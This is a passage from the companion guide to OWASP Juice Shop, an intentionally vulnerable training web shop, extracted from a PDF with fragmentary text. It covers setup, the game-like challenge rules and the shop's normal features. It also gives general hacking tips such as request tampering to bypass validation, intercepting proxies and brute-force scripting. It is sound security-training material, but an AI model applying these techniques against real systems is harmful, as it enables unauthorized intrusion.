Pwning Owasp Juice Shop
Pwning Owasp Juice Shop
Pwning Owasp Juice Shop
of Contents
Preface
Introduction 1.1
Why OWASP Juice Shop exists 1.2
Architecture overview 1.3
2
Vulnerable Components 3.12
Security through Obscurity 3.13
Unvalidated Redirects 3.14
Broken Anti-Automation 3.15
Cryptographic Issues 3.16
Miscellaneous 3.17
Appendix
Challenge solutions 5.1
Trainer's guide 5.2
Troubleshooting 5.3
Postface
About this book 6.1
3
Introduction
4
Introduction
5
Introduction
This is the official companion guide to the OWASP Juice Shop application. Being a web
application with a vast number of intended security vulnerabilities, the OWASP Juice Shop is
supposed to be the opposite of a best practice or template application for web developers: It
is an awareness, training, demonstration and exercise tool for security risks in modern web
applications. The OWASP Juice Shop is an open-source project hosted by the non-profit
Open Web Application Security Project (OWASP) and is developed and maintained by
volunteers. The content of this book was written for v9.0.1 of OWASP Juice Shop.
Please be aware that this book is not supposed to be a comprehensive introduction to Web
Application Security in general. For every category of vulnerabilities present in the OWASP
Juice Shop you will find a brief explanation - typically by quoting and referencing to existing
content on the given topic.
https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content
https://github.com/bkimminich/pwning-juice-shop
6
Introduction
http://owasp-juice.shop
7
Why OWASP Juice Shop exists
Your hacking progress is tracked by the application using immediate push notifications for
successful exploits as well as a score board for progress overview. Finding this score board
is actually one of the (easiest) challenges! The idea behind this is to utilize gamification
techniques to motivate you to get as many challenges solved as possible - similar to
unlocking achievements in many modern video games.
Development of the Juice Shop started in September 2014 as the authors personal initiative,
when a more modern exercise environment for an in-house web application security training
for his employer was needed. The previously used exercise environment was still from the
server-side rendered ASP/JSP/Servlet era and did not reflect the reality of current web
technology any more. The Juice Shop was developed as open-source software without any
corporate branding right from the beginning. Until end of 2014 most of the current e-
commerce functionality was up and running - along with an initial number of planted
vulnerabilities. Over the years more variants of vulnerabilities were added. In parallel the
application was kept up-to-date with latest web technology (e.g. WebSockets and OAuth
2.0) and frontend frameworks (i.e. by migrating from AngularJS with Bootstrap to Angular
with Material Design). Some of these additional capabilities then brought the chance to add
corresponding vulnerabilities - and so the list of challenges kept growing ever since.
Apart from the hacker and awareness training use case, penetration testing tools and
automated security scanners are invited to use Juice Shop as a sort of guinea pig-
application to check how well their products cope with JavaScript-heavy application
frontends and REST APIs.
8
Why OWASP Juice Shop exists
The Open Web Application Security Project (OWASP) is a 501(c)(3) worldwide not-for-
profit charitable organization focused on improving the security of software. Our mission
is to make software security visible, so that individuals and organizations are able to
make informed decisions. OWASP is in a unique position to provide impartial, practical
information about AppSec to individuals, corporations, universities, government
agencies and other organizations worldwide. Operating as a community of like-minded
professionals, OWASP issues software tools and knowledge-based documentation on
application security.1
Two years after its inception the Juice Shop was submitted and accepted as an OWASP
Tool Project by the Open Web Application Security Project in September 2016. This move
increased the overall visibility and outreach of the project significantly, as it exposed it to a
large community of application security practitioners.
Once in the OWASP project portfolio it took only eight months until Juice Shop was
promoted from the initial Incubator maturity level to Lab Projects level. End of July 2018 the
Juice Shop was promoted into the final Flagship maturity stage for OWASP projects.
9
Why OWASP Juice Shop exists
The authors idea was to convert one of the (unofficial but popular) JavaScript shield-logos
into a leaking juice box because it had a quite matching shape for this shenanigans:
In 2017 the logo received a facelift and a spin-off when the Juice Shop introduced its
Capture-the-flag extension (which is discussed in its own chapter Hosting a CTF event):
10
Why OWASP Juice Shop exists
Many of the existing vulnerable web applications were very rudimental in their functional
scope. So the aim of the Juice Shop also was to give the impression of a functionally
complete e-commerce application that could actually exist like this in the wild.
1. https://www.owasp.org ↩
11
Architecture overview
Architecture overview
The OWASP Juice Shop is a pure web application implemented in JavaScript and
TypeScript (which is compiled into regular JavaScript). In the frontend the popular Angular
framework is used to create a so-called Single Page Application. The user interface layout is
implementing Google's Material Design using Angular Material components. It uses Angular
Flex-Layout to achieve responsiveness. All icons found in the UI are originating from the
Font Awesome library.
JavaScript is also used in the backend as the exclusive programming language: An Express
application hosted in a Node.js server delivers the client-side code to the browser. It also
provides the necessary backend functionality to the client via a RESTful API. As an
underlying database a light-weight SQLite was chosen, because of its file-based nature. This
makes the database easy to create from scratch programmatically without the need for a
dedicated server. Sequelize and finale-rest are used as an abstraction layer from the
database. This allows to use dynamically created API endpoints for simple interactions (i.e.
CRUD operations) with database resources while still allowing to execute custom SQL for
more complex queries.
As an additional data store a MarsDB is part of the OWASP Juice Shop. It is a JavaScript
derivate of the widely used MongoDB NoSQL database and compatible with most of its
query/modify operations.
The push notifications that are shown when a challenge was successfully hacked, are
implemented via WebSocket Protocol. The application also offers convenient user
registration via OAuth 2.0 so users can sign in with their Google accounts.
The following diagram shows the high-level communication paths between the client, server
and data layers:
12
Architecture overview
13
Hacking preparations
Chance is pretty high that you will be able to get it running on your computer as well. This
part of the book will help your install and run the Juice Shop as well as guide you through
the application and some fundamental rules and hints for hacking it.
Should you run into issues during installation or launch of the application, please do not
hesitate to ask for help in the community chat or by opening a GitHub issue! Please just
make sure that you flipped through the appendix on troubleshooting first.
14
Running OWASP Juice Shop
Run options
In the following sections you find step-by-step instructions to deploy a running instance of
OWASP Juice Shop for your personal hacking endeavours.
The quickest way to get a running instance of Juice Shop is to click the Deploy to Heroku
button in the Setup section of the README.md on GitHub. You have to log in with your Heroku
account and will then receive a single instance (or dyno in Heroku lingo) hosting the
application. If you have forked the Juice Shop repository on GitHub, the Deploy to Heroku
button will deploy your forked version of the application. To deploy the latest official version
you must use the button of the original repository at https://github.com/bkimminich/juice-
shop.
As the Juice Shop is supposed to be hacked and attacked - maybe even with aggressive
brute-force scripts or automated scanner software - one might think that Heroku would not
allow such activities on their cloud platform. Quite the opposite! When describing the
intended use of Juice Shop to the Heroku support team they answered with:
That sounds like a great idea. So long as you aren't asking people to DDoS it that
should be fine. People are certainly welcome to try their luck against the platform and
your app so long as it's not DDoS.
As a little related anecdote, the OWASP Juice Shop was even crowned Heroku Button of the
Month in November 2017 and once more in March 2019:
15
Running OWASP Juice Shop
Local installation
To run the Juice Shop locally you need to have Node.js installed on your computer. The
Juice Shop officially runs on versions 10.x and 12.x of Node.js, closely following the official
Node.js Long-term Support Release Schedule. During development and Continuous
Integration (CI) the application is automatically tested with these current versions of Node.js.
The officially recommended version to run Juice Shop is either the most recent Long-term
Support (LTS) version or the Current Release version. Therefore Juice Shop recommends
Node.js 12.x for its own v9.0.1 release.
From sources
1. Install Node.js on your computer.
2. On the command line run git clone https://github.com/bkimminich/juice-shop.git .
3. Go into the cloned folder with cd juice-shop
4. Run npm install . This only has to be done before the first start or after you changed
the source code.
5. Run npm start to launch the application.
6. Browse to http://localhost:3000
16
Running OWASP Juice Shop
Docker image
You need to have Docker installed to run Juice Shop as a container inside it. Following the
instructions below will download the current stable version (built from master branch on
GitHub) which internally runs the application on the currently recommended Node.js version
12.x.
If you are using Docker on Windows - inside a VirtualBox VM - make sure that you also
enable port forwarding from host 127.0.0.1:3000 to 0.0.0.0:3000 for TCP.
Vagrant
Vagrant is an open-source solution for building and maintaining virtual software development
environments. It creates a Virtualbox VM that will launch a Docker container instance of the
latest Juice Shop image v9.0.1.
17
Running OWASP Juice Shop
2. In Step 1: Choose an Amazon Machine Image (AMI) choose an Amazon Linux AMI or
Amazon Linux 2 AMI
3. In Step 3: Configure Instance Details unfold Advanced Details and copy the script below
into User Data
4. In Step 6: Configure Security Group add a Rule that opens port 80 for HTTP
5. Launch your instance
6. Browse to your instance's public DNS
#!/bin/bash
yum update -y
yum install -y docker
service docker start
docker pull bkimminich/juice-shop
docker run -d -p 80:3000 bkimminich/juice-shop
18
Running OWASP Juice Shop
1. Open your Azure CLI or login to the Azure Portal, open the CloudShell and then choose
Bash (not PowerShell).
2. Create a resource group by running az group create --name <group name> --location
<location name, e.g. "East US">
3. Create an app service plan by running az appservice plan create --name <plan name> --
resource-group <group name> --sku S1 --is-linux
4. Create a web app with the Juice Shop Docker image by running the following (on one
line in the bash shell) az webapp create --resource-group <group name> --plan <plan
name> --name <app name> --deployment-container-image-name bkimminich/juice-shop
From sources - Run git fetch --tags and then git checkout v7.5.1 before running
npm install
To experience a preview of the next upcoming Juice Shop version you can do as follows:
ℹ Please be aware that support by the core team or community is limited (at best) for
outdated and unreleased versions alike. To fully enjoy your OWASP Juice Shop experience,
it is recommended to always use the latest version.
Self-healing-feature
19
Running OWASP Juice Shop
OWASP Juice Shop was not exactly designed and built with a high availability and reactive
enterprise-scale architecture in mind. It runs perfectly fine and fast when it is attacked via a
browser by a human. When under attack by an automated tool - especially aggressive brute
force scripts - the server might crash under the load. This could - in theory - leave the
database and file system in an unpredictable state that prevents a restart of the application.
That is why - in practice - Juice Shop wipes the entire database and the folder users might
have modified during hacking. After performing this self-healing the application is supposed
to be restartable, no matter what kind of problem originally caused it to crash. For
convenience the self-healing happens during the start-up (i.e. npm start ) of the server, so
no extra command needs to be issued to trigger it.
Single-user restriction
There is one fundamental restriction that needs to be taken into account when working with
the OWASP Juice Shop, especially in group trainings or lectures:
This restriction applies to all the Run Options explained above. It is technically necessary to
make the Self-healing-feature work properly and consistently. Furthermore, when multiple
users would attack the same instance of the Juice Shop all their progress tracking would be
mixed leading to inevitable confusion for the individual hacker. The upcoming Challenge
tracking chapter will illustrate this topic.
It should not go unmentioned that it is of course okay to have multiple users hack the same
instance from a shared machine in a kind of pair-hacking-style.
If you want to centrally host Juice Shop instances for multiple users you find more
information in section Hosting individual instances for multiple users of the trainer's guide.
20
Vulnerability categories
Vulnerability Categories
The vulnerabilities found in the OWASP Juice Shop are categorized into several different
classes. Most of them cover different risk or vulnerability types from well-known lists or
documents, such as OWASP Top 10 or MITRE's Common Weakness Enumeration. The
following table presents a mapping of the Juice Shop's categories to OWASP and CWE
(without claiming to be complete).
Category Mappings
21
Vulnerability categories
Broken Access
A5:2017 CWE-22, CWE-285, CWE-639
Control
Broken Anti- OWASP-AT-004),
CWE-362
Automation OWASP-AT-010
Broken
A2:2017 CWE-287, CWE-352
Authentication
Cross Site Scripting
A7:2017 CWE-79
(XSS)
Vulnerable
A9:2017 CWE-829
Components
XML External
A4:2017 CWE-611
Entities (XXE)
22
Challenge tracking
Challenge tracking
On the score board you can view a list of all available challenges with a brief description.
Some descriptions are very explicit hacking instructions. Others are just vague hints that
leave it up to you to find out what needs to be done.
The challenges are rated with a difficulty level between and , with more stars
representing a higher difficulty. To make the list of challenges less daunting, they are
clustered by difficulty. By default only the 1-star challenges are unfolded. You can open or
collapse all challenge blocks as you like. Collapsing a block has no impact on whether you
can solve any of its challenges.
The difficulty ratings have been continually adjusted over time based on user feedback. The
ratings allow you to manage your own hacking pace and learning curve significantly. When
you pick a 5- or 6-star challenge you should expect a real challenge and should be less
frustrated if you fail on it several times. On the other hand if hacking a 1- or 2-star challenge
takes very long, you might realize quickly that you are on a wrong track with your chosen
hacking approach.
23
Challenge tracking
Finally, each challenge states if it is currently unsolved or solved. The current overall
progress is represented in a progress bar on top of the score board. Especially in group
hacking sessions this allows for a bit of competition between the participants.
If not deliberately turned off (see Customization) you can hover over each unsolved label to
see a hint for that challenge. If a "book" icon is also displayed within the label, you can click
on it to be redirected to the corresponding hints section in Part 2 of this book.
Challenge Filters
Additional to the filtering by difficulty, you can filter the Score Board by challenge categories,
e.g. to focus your hacking efforts on specific vulnerabilities. You can also hide all solved
challenges to reduce the level of distraction on the Score Board.
Selecting Show all for all difficulties and all challenges might impact the load time of the
Score Board significantly!
Success notifications
The OWASP Juice Shop employs a simple yet powerful gamification mechanism: Instant
success feedback! Whenever you solve a hacking challenge, a notification is immediately
shown on the user interface.
This feature makes it unnecessary to switch back and forth between the screen you are
attacking and the score board to verify if you succeeded. Some challenges will force you to
perform an attack outside of the Juice Shop web interface, e.g. by interacting with the REST
API directly. In these cases the success notification will light up when you come back to the
regular web UI the next time.
24
Challenge tracking
To make sure you do not miss any notifications they do not disappear automatically after a
timeout. You have to dismiss them explicitly. In case a number of notifications "piled up" it is
not necessary to dismiss each one individually, as you can simply Shift -click one of their
X-buttons to dismiss all at the same time.
Depending on your application configuration, each challenge notification might also show a
symbol with a character sequence next to it. If you are doing a hacking session just on
your own, you can completely ignore this flag. The code is only relevant if you are
participating in a CTF event. Please refer to chapter Hosting a CTF event for more
information this topic.
To keep the resilience against data corruption but allow users to pick up where they left off
after a server restart, your hacking progress is automatically saved whenever you solve a
challenge - as long as you allow Browser cookies!
After restarting the server, once you visit the application your hacking progress is
automatically restored:
25
Challenge tracking
The auto-save mechanism keeps your progress for up to 30 days after your previous
hacking session. When the score board is restored to its prior state, a torrent of success
notifications will light up - depending on how many challenges you solved up to that point. As
mentioned earlier these can be bulk-dismissed by Shift -clicking any of the X-buttons.
If you want to start over with a fresh hacking session, simply click the Delete cookie to clear
hacking progress button. After the next server restart, your score board will be blank.
For safety reasons all potentially dangerous challenges are disabled (along with their
underlying vulnerabilities) in containerized environments. By default this applies to Docker
and Heroku. You can set safetyOverride: true in your YAML configuration file you can re-
enable these challenges. Please use at your own risk.
26
Hacking exercise rules
When hacking a web application that relies heavily on JavaScript, it is essential to your
success to monitor the JavaScript Console permanently! It might leak valuable
information to you through error or debugging logs!
Other useful features of browser DevTools are their network overview as well as insight into
the client-side JavaScript code, cookies and other local storage being used by the
application.
27
Hacking exercise rules
28
Hacking exercise rules
Mozilla Firefox has built-in tampering capabilities and does not need a plugin. On the
Network tab of Firefox's DevTools you have the option to Edit and Resend every recorded
HTTP request.
Tampering is extremely useful when probing for holes in the server-side validation logic. It
can also be helpful when trying to bypass certain input validation or access restriction
mechanisms, that are not properly checked on the server once more.
An API testing plugin like PostMan for Chrome allows you to communicate with the RESTful
backend of a web application directly. Skipping the UI can often be useful to circumvent
client-side security mechanisms or simply get certain tasks done faster. Here you can create
requests for all available HTTP verbs ( GET , POST , PUT , DELETE etc.) with all kinds of
content-types, request headers etc.
If you feel more at home on the command line, curl will do the trick just as fine as the
recommended browser plugins.
Scripting tools
A small number of challenges is not realistically solvable manually unless you are cheating
or are incredibly -lucky.
For these challenges you will require to write some scripts that for example can submit
requests with different parameter values automatically in a short time. As long as the tool or
language of choice can submit HTTP requests, you should be fine. Use whatever you are
most familiar with.
29
Hacking exercise rules
If you have little experience in programming, best pick a language that is easy to get into
and will give you results without forcing you to learn a lot of syntax elements or write much
boilerplate code. Python, Ruby or JavaScript give you this simplicity and ease-of-use. If you
consider yourself a "command-line hero", Bash or PowerShell will get the job done for you.
Languages like Java, C# or Perl are probably less suitable for beginners. In the end it
depends entirely on your preferences, but being familiar with at least one programming
language is kind of mandatory if you want to get 100% on the score board.
In the following sections you find some recommended pentesting tools in case you want to
try one. Please be aware that the tools are not trivial to learn - let alone master. Trying to
learn about the web application security basics and hacking tools at the same time is
unlikely to get you very far in either of the two topics.
Intercepting proxies
An intercepting proxy is a software that is set up as man in the middle between your browser
and the application you want to attack. It monitors and analyzes all the HTTP traffic and
typically lets you tamper, replay and fuzz HTTP requests in various ways. These tools come
with lots of attack patterns built in and offer active as well as passive attacks that can be
scripted automatically or while you are surfing the target application.
The open-source OWASP Zed Attack Proxy (ZAP) is such a software and offers many useful
hacking tools for free:
30
Hacking exercise rules
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in
web applications. It is designed to be used by people with a wide range of security
experience and as such is ideal for developers and functional testers who are new to
penetration testing. ZAP provides automated scanners as well as a set of tools that
allow you to find security vulnerabilities manually.2
The keyword in the previous quote is advanced! More precisely, Kali Linux is easily
overwhelming when beginners try to work with it, as even the Kali development team states:
31
Hacking exercise rules
Although there exist some more light-weight pentesting distributions, they basically still
present a high hurdle for people new to the IT security field. If you still feel up to it, give Kali
Linux a try!
Internet
You are free to use Google during your hacking session to find helpful websites or tools. The
OWASP Juice Shop is leaking useful information all over the place if you know where to
look, but sometimes you simply need to extend your research to the Internet in order to gain
some relevant piece of intel to beat a challenge.
Getting hints
32
Hacking exercise rules
Frankly speaking, you are reading the premium source of hints right now! Congratulations! In
case you want to hack more on your own than follow the breadcrumbs through the wood of
challenges in part II, the most direct way to ask for specific hints for a particular challenge is
the community chat on Gitter.im at https://gitter.im/bkimminich/juice-shop. You can simply log
in to Gitter with your GitHub account.
If you prefer, you can also use the project's Slack channel at
https://owasp.slack.com/messages/project-juiceshop. You just need to self-invite you to
OWASP's Slack first at http://owasp.herokuapp.com. If you like it a bit more nostalgic, you
can also join and post to the project mailing list at
https://lists.owasp.org/mailman/listinfo/owasp_juice_shop_project.
The same goes for several other implementation details, where vulnerabilities were
arbitrarily programmed into the application. These would be obvious when the source code
is reviewed.
Finally the end-to-end test suite of Juice Shop was built hack all challenges automatically, in
order to verify they can all be solved. These tests deliver all the required attacks on a silver
plate when reviewed.
GitHub repository
While stated earlier that "the Internet" is fine as a helpful resource, consider the GitHub
repository https://github.com/bkimminich/juice-shop as entirely off limits. First and foremost
because it contains the source code (see above).
Additionally it hosts the issue tracker of the project, which is used for idea management and
task planning as well as bug tracking. You can of course submit an issue if you run into
technical problems that are not covered by the Troubleshooting section of the README.md.
You just should not read issues labelled challenge as they might contain spoilers or
solutions.
33
Hacking exercise rules
Of course you are explicitly allowed to view the repository's README.md page, which
contains no spoilers but merely covers project introduction, setup and troubleshooting. Just
do not "dig deeper" than that into the repository files and folders.
asks you to demonstrate how you actually solved all the 4- and 5-star challenges so quickly.
The returned JSON contains spoilers for all challenges that depend on a product from the
inventory which might be customized. As not all customization can be prepared on the
server side, exposing this REST endpoint is unavoidable for the Customization feature to
work properly.
2. https://github.com/zaproxy/zap-core-help/wiki ↩
3. http://docs.kali.org/introduction/what-is-kali-linux ↩
4. http://docs.kali.org/introduction/should-i-use-kali-linux ↩
34
Walking the "happy path"
A good way to gain an understanding for the application, is to actually use it in the way it was
meant to be used by a normal user. In regular software testing this is often called "happy
path" testing.
Also known as the "sunny day" scenario, the happy path is the "normal" path of
execution through a use case or through the software that implements it. Nothing goes
wrong, nothing out of the normal happens, and we swiftly and directly achieve the
user's or caller's goal.2
The OWASP Juice Shop is a rather simple e-commerce application that covers the typical
workflows of a web shop. The following sections briefly walk you through these "happy path"
use cases.
Browse products
When visiting the OWASP Juice Shop you will begin on the landing page #/ which initially
displays all products offered in the shop. Clicking on the logo in the top left corner of the
screen will always bring you back to this screen (or more precisely, to its alias #/search ).
35
Walking the "happy path"
This is of course the "bread & butter" screen for any e-commerce site. When you click on the
small "eye"-button next to the price of a product, an overlay screen will open showing you
that product details including a list of customer reviews for that product (if available). You
can also enter a new (or edit an existing) product review in this dialog. Authenticated users
can upvote reviews they like.
36
Walking the "happy path"
You can use the Search... box in the navigation bar on the top of the screen to filter the table
for specific products by their name and description. Using the controls at the bottom of the
table, you can navigate through a the result list that exceeds the Items per page limit.
37
Walking the "happy path"
User login
You might notice that there seems to be no way to actually purchase any of the products.
This functionality exists, but is not available to anonymous users. You first have to log in to
the shop with your user credentials on the #/login page. There you can either log in with
your existing credentials (if you are a returning customer) or with your Google account.
38
Walking the "happy path"
User registration
In case you are a new customer, you must first register by following the corresponding link
on the login screen to #/register . There you must enter your email address and a
password to create a new user account. With these credentials you can then log in... and
finally start shopping! During registration you also choose and answer a security question
that will let you recover the account if you ever forget your password.
39
Walking the "happy path"
Forgot Password
By providing your email address, the answer to your security question and a new password,
you can recover an otherwise inaccessible account.
40
Walking the "happy path"
increase ("+") or decrease ("-") the quantity of individual products in the shopping basket
remove products from the shopping basket with the "trashcan"-button
41
Walking the "happy path"
Checkout
During checkout you will be guided through a series of steps to set your delivery address,
desired delivery method and credit card.
42
Walking the "happy path"
Do not enter any real credit card or address data anywhere in the Juice Shop!
Always remember that it is not a real shop and it is intentionally riddled with security
and privacy flaws!
In the Add a coupon section you can redeem a code for a discount. Unfold the Other
payment options section to see links with donation and merchandise links of the Juice Shop
open source project.
Finally you can click the Checkout button to issue an order. You will be forwarded to a
confirmation of your order right away. It also includes a link to a printable PDF confirmation
for your order and as well as a tracking link.
43
Walking the "happy path"
User Menu
Clicking the user icon right next to the application logo & title, you will give you access to
several secondary use cases of the Juice Shop. This menu is obviously only available when
you are logged in with your user account.
ℹ We will cover only a fraction of the available functionality from the user menu in the
following sub-sections. It is recommended to explore the rest on your own before diving into
any hacking exercises.
44
Walking the "happy path"
User Profile
Clicking you your email address in the user menu, you will get to the User Profile screen on
/profile . Visiting it might break your user experience a bit, as it looks slightly less
sophisticated than the rest of the shop's UI. It is fully functional nonetheless, as it allows you
to upload a JPG -format picture of yourself (or link an existing Gravatar) and choose a
username for your account.
45
Walking the "happy path"
My saved addresses
This page lists your saved addresses and provides you with the ability to edit or delete
already saved addresses.
My Payment Options
This page lists your saved cards and provides you with the ability to delete already saved
cards or to add new ones.
46
Walking the "happy path"
47
Walking the "happy path"
Order History
This page allows you to view the details of all your current and previous orders and the
status of their delivery.
Privacy Policy
48
Walking the "happy path"
This page informs you about the policies regarding the collection, use and disclosure of
personal data when you use the OWASP Juice Shop and the choices you have when it
comes to your data.
This page allows you to obtain a copy of all your data saved in the Juice Shop.
49
Walking the "happy path"
This page allows you to request a complete erasure of your account and any associated
data from the Juice Shop.
50
Walking the "happy path"
51
Walking the "happy path"
2FA Configuration
This page allows you to secure your account with an additional factor by providing you with a
barcode to scan.
52
Walking the "happy path"
Last Login IP
This page displays the IP from which your account was last logged in.
53
Walking the "happy path"
For greater amounts of pomace the customer can alternatively order a truck to come by and
pick it up at a chosen future date.
54
Walking the "happy path"
Order Tracking
Equipped with an order number from your confirmation PDF, you can invoke the #/track-
order functionality by clicking Track Orders.
55
Walking the "happy path"
After entering a valid order number, you will be shown the products from your order along
with a delivery status and expected delivery date.
Just as there was no "real" payment was happening, you will hopefully understand that there
is no "real" order delivery happening - no matter what the order tracking dialog suggested.
Menu
The sidebar menu button left of the application logo reveals some more options to choose
from.
56
Walking the "happy path"
Customer Feedback
Customers are invited to leave feedback about their shopping experience with the Juice
Shop. Simply visit the #/contact page by clicking the Customer Feedback menu item. You
might recognize that it is also possible to leave feedback as an anonymous user. The
contact form is very straightforward with a free text Comment field and a Rating on a 1-5
stars scale. To prevent abuse, you have to solve a simple mathematical problem before
being allowed to submit your feedback.
57
Walking the "happy path"
Complain
The Complain? menu item is shown only to logged in users. It brings you to the #/complain
page where you can leave a free text Message and also attach an Invoice file in case you
had some issues with a recent order at the Juice Shop.
58
Walking the "happy path"
About Us
Like every proper enterprise, the OWASP Juice Shop has of course an #/about page titled
About Us. There you find a summary of the interesting history of the shop along with a link to
its official Terms of Use document. Additionally the page displays a fancy illustrated
slideshow of all customer feedback. Beneath that you can find all important social media
contact information of the shop.
59
Walking the "happy path"
Photo Wall
The OWASP Juice Shop also has an #/photo-wall page titled Photo Wall which allows its
users to share their memories with other customers of the Juice Shop.
Deluxe Membership
The OWASP Juice Shop offers a deluxe membership to its customers which provides them
with exclusive offers, free fast delivery and an unrestricted purchase of the items they like.
Language selection
60
Walking the "happy path"
From a dropdown menu in the navigation bar you can select a multitude of languages you
want the user interface to be displayed in. Languages marked with a "flask"-icon next to
them offer only rudimentary or partial translation.
If you want to know more about (or even help with) the localization of OWASP Juice Shop,
please refer to the Help with translation chapter in part III of this book.
1. https://www.owasp.org/index.php/Map_execution_paths_through_application_(OTG-
INFO-007) ↩
2. http://xunitpatterns.com/happy%20path.html ↩
61
Customization
Customization
One of the core usage scenarios for OWASP Juice Shop is in employee trainings in order to
facilitating security awareness. With its not entirely serious user roster and product inventory
the application might not be suited for all audiences alike.
OWASP Juice Shop can be customized in its product inventory and look & feel to
accommodate this requirement. It also allows to add an arbitrary number of fake users to
make demonstrations - particularly those of UNION-SQL injection attacks - even more
impressive. Furthermore the Challenge solved!-notifications can be turned off in order to
keep the impression of a "real" application undisturbed.
You can also run a config directly in one command (on Linux) via NODE_ENV=nameOfYourConfig
npm start . By default the config/default.yml config is used which generates the original
OWASP Juice Shop look & feel and inventory. Please note that it is not necessary to run
npm install after switching customization configurations.
62
Customization
In order to inject your own configuration, you can use -v to mount the default.yml path
inside the container to any config file on your outside file system:
server
application
name as shown in title and menu bar Defaults to 'OWASP Juice Shop'
will first be download to that folder and then used as a favicon. Defaults to
favicon_v2.ico
theme the name of the color theme used to render the UI. Options are bluegrey-
true .
as well as the info box about contributing on the Score Board. Defaults to true .
numberOfRandomFakeUsers represents the number of random user accounts to be
created on top of the pre-defined ones (which are required for several challenges).
Defaults to 0 , meaning no additional users are created.
twitterUrl used as the Twitter link promising coupon codes on the About Us and
63
Customization
facebookUrl used as the Facebook link promising coupon codes on the About Us
'http://owaspslack.com'
pressKitUrl used as the link to logos and media files on the About Us screen.
Defaults to 'https://github.com/OWASP/owasp-swag/tree/master/projects/juice-shop'
planetOverlayMap filename in /app/private or URL of an image to download to
that folder and then use as an overlay texture for the 3D planet "easter egg".
Defaults to orangemap2k.jpg
planetName of the 3D planet "easter egg" as shown in the page title. Defaults to
Orangeuze
image which will first be download to that folder and then displayed on the
Deluxe Membership page. Defaults to delivery_juiceshop.png .
recyclePage custom elements on the Request Recycling Box page
image on the top of the info column on the page. Defaults to fruit_press.jpg
bottomProductImage filename in /app/public/images/products to use as the
altcoinName defines the name of the (fake) crypto currency that is offered on the
title defines the headline of the banner. Defaults to Welcome to OWASP Juice
Shop! .
message defines the body of the banner. Can contain arbitrary HTML. Defaults
developed and maintained by volunteers. Check out the link below for more
juice.shop' target='_blank'>http://owasp-juice.shop</a></h1> .
cookieConsent defines the cookie consent dialog shown in the bottom right corner
64
Customization
buttonColor defines the color of the button to dismiss the banner. Defaults to
'#558b2f'
website uses fruit cookies to ensure you get the juiciest tracking
experience.'
dismissText the text shown on the button to dismiss the banner. Defaults to
to 'But me wait!'
linkUrl provides further information about cookie usage. Defaults to
'https://www.youtube.com/watch?v=9PnbKL3wuH4'
Defaults to [email protected]
securityTxt defines the attributes for the security.txt file based on the
to /#/score-board
promotion defines the attributes required for the /promotion screen where a
marketing video with subtitles is rendered that hosts the XSS Tier 6 challenge
video name of a file with video/mp4 content type in /app/public/videos or
URL of an image to download to that folder and then use as the promotion
video. Defaults to JuiceShopJingle.mp4
subtitles name of a Web Video Text Tracks Format file in
they might pose for your computer (i.e. XXE or RCE vulnerabilities which could not
entirely be sandboxed). Defaults to false
overwriteUrlForProductTamperingChallenge the URL that should replace the original
65
Customization
target for the Product Tampering challenge. Overrides deletedDate with null
(must be defined on exactly one product)
useForChristmasSpecialChallenge marks a product as the target for the "christmas
author of the review from the following list of pre-defined users in the
ctf
66
Customization
Configuration example
server:
port: 3000
application:
domain: juice-sh.op
name: 'OWASP Juice Shop'
logo: JuiceShop_Logo.png
favicon: favicon_v2.ico
theme: bluegrey-lightgreen
showChallengeSolvedNotifications: true
showChallengeHints: true
showVersionNumber: true
showHackingInstructor: true
showGitHubLinks: true
numberOfRandomFakeUsers: 0
twitterUrl: 'https://twitter.com/owasp_juiceshop'
facebookUrl: 'https://www.facebook.com/owasp.juiceshop'
slackUrl: 'http://owaspslack.com'
planetOverlayMap: orangemap2k.jpg
planetName: Orangeuze
deluxePage:
deluxeDeliveryImage: delivery_juiceshop.png
recyclePage:
topProductImage: fruit_press.jpg
bottomProductImage: apple_pressings.jpg
altcoinName: Juicycoin
welcomeBanner:
showOnFirstStart: true
title: 'Welcome to OWASP Juice Shop!'
message: "<p>Being a web application with a vast number of intended security vulne
rabilities, the <strong>OWASP Juice Shop</strong> is supposed to be the opposite of a
best practice or template application for web developers: It is an awareness, training
, demonstration and exercise tool for security risks in modern web applications. The <
strong>OWASP Juice Shop</strong> is an open-source project hosted by the non-profit <a
href='https://owasp.org' target='_blank'>Open Web Application Security Project (OWASP
)</a> and is developed and maintained by volunteers. Check out the link below for more
information and documentation on the project.</p><h1><a href='http://owasp-juice.shop
' target='_blank'>http://owasp-juice.shop</a></h1>"
cookieConsent:
backgroundColor: '#eb6c44'
textColor: '#ffffff'
buttonColor: '#f5d948'
67
Customization
buttonTextColor: '#000000'
message: 'This website uses fruit cookies to ensure you get the juiciest tracking
experience.'
dismissText: 'Me want it!'
linkText: 'But me wait!'
linkUrl: 'https://www.youtube.com/watch?v=9PnbKL3wuH4'
privacyContactEmail: [email protected]
securityTxt:
contact: 'mailto:[email protected]'
encryption: 'https://pgp.mit.edu/pks/lookup?op=get&search=0x062A85A8CBFBDCDA'
acknowledgements: '/#/score-board'
promotion:
video: JuiceShopJingle.mp4
subtitles: jingleSubtitles.vtt
challenges:
safetyOverride: false
overwriteUrlForProductTamperingChallenge: 'https://owasp.slack.com'
products:
-
name: 'Apple Juice (1000ml)'
price: 1.99
description: 'The all-time classic.'
image: apple_juice.jpg
reviews:
- { text: 'One of my favorites!', author: admin }
# ~~~~~ ... ~~~~~~
-
name: 'OWASP SSL Advanced Forensic Tool (O-Saft)'
description: 'O-Saft is an easy to use tool to show information about SSL certific
ate and tests the SSL connection according given list of ciphers and various SSL confi
gurations.'
price: 0.01
image: orange_juice.jpg
urlForProductTamperingChallenge: 'https://www.owasp.org/index.php/O-Saft'
-
name: 'Christmas Super-Surprise-Box (2014 Edition)'
description: 'Contains a random selection of 10 bottles (each 500ml) of our tastie
st juices and an extra fan shirt for an unbeatable price!'
price: 29.99
image: undefined.jpg
useForChristmasSpecialChallenge: true
-
name: 'OWASP Juice Shop Sticker (2015/2016 design)'
description: 'Die-cut sticker with the official 2015/2016 logo. By now this is a r
are collectors item. <em>Out of stock!</em>'
price: 999.99
image: sticker.png
deletedDate: '2017-04-28'
# ~~~~~ ... ~~~~~~
-
name: 'OWASP Juice Shop Logo (3D-printed)'
description: 'This rare item was designed and handcrafted in Sweden. This is why i
t is so incredibly expensive despite its complete lack of purpose.'
68
Customization
price: 99.99
image: 3d_keychain.jpg
fileForRetrieveBlueprintChallenge: JuiceShop.stl
# ~~~~~ ... ~~~~~~
ctf:
showFlagsInNotifications: false
showCountryDetailsInNotifications: none
